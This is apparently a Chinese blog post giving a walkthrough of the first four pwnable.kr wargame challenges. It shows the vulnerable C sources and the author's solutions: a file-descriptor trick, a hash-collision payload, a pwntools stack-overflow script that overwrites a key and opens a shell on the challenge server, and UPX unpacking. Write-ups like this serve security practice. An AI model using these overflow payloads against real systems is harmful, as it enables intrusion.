lpc的pwnable.kr日记(1)

非常喜欢pwnable.kr,题目难度循序渐进,关键是界面可爱到爆QAQ

第一题 fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

这就是一个很简单的传参问题,argv数组接受main函数(也就是运行程序时后面带的参数),按照题目要求传参,fd为1作为read的第一个参数,buf接收LETMEWIN即可。

fd@prowl:~$ ls
fd fd.c flag
fd@prowl:~$ ./fd 4662
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

第二题 collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

输入20个char型的,在check_password里转成int型的,原来一个字符指针对应一个字节,现在变成int指针对应4个字节,长度为5,刚好满足循环累加,加起来要等于0x21DD09EC。

4个字符存一个16进制的int。hashcode = 4*a+b = 16*char+b。

0x21DD09EC = 0x01010101*4+0x1dd905e8

考虑小端序,payload为

1
`python-c "print '\x01' * 16 +'\xE8\x05\xD9\x1D'"`

col@prowl:~$ ./col `python -c “print ‘\x01’ * 16 +’\xE8\x05\xD9\x1D’”`
daddy! I just managed to create a hash collision :)

第三题 bof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

拖进ida,func函数里面,overflowme的地址为ebp-2c,key的地址为ebp+8,0x2c + 0x8 = 52。

简单的栈溢出,payload如下:

1
2
3
4
5
# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()

第四题 flag

拖进ida,找不到main函数的入口点,根据题目提示reverse,估计加壳,peid查壳发现upx,kali upx -d 脱壳,再拖进ida即可发现flag。

0%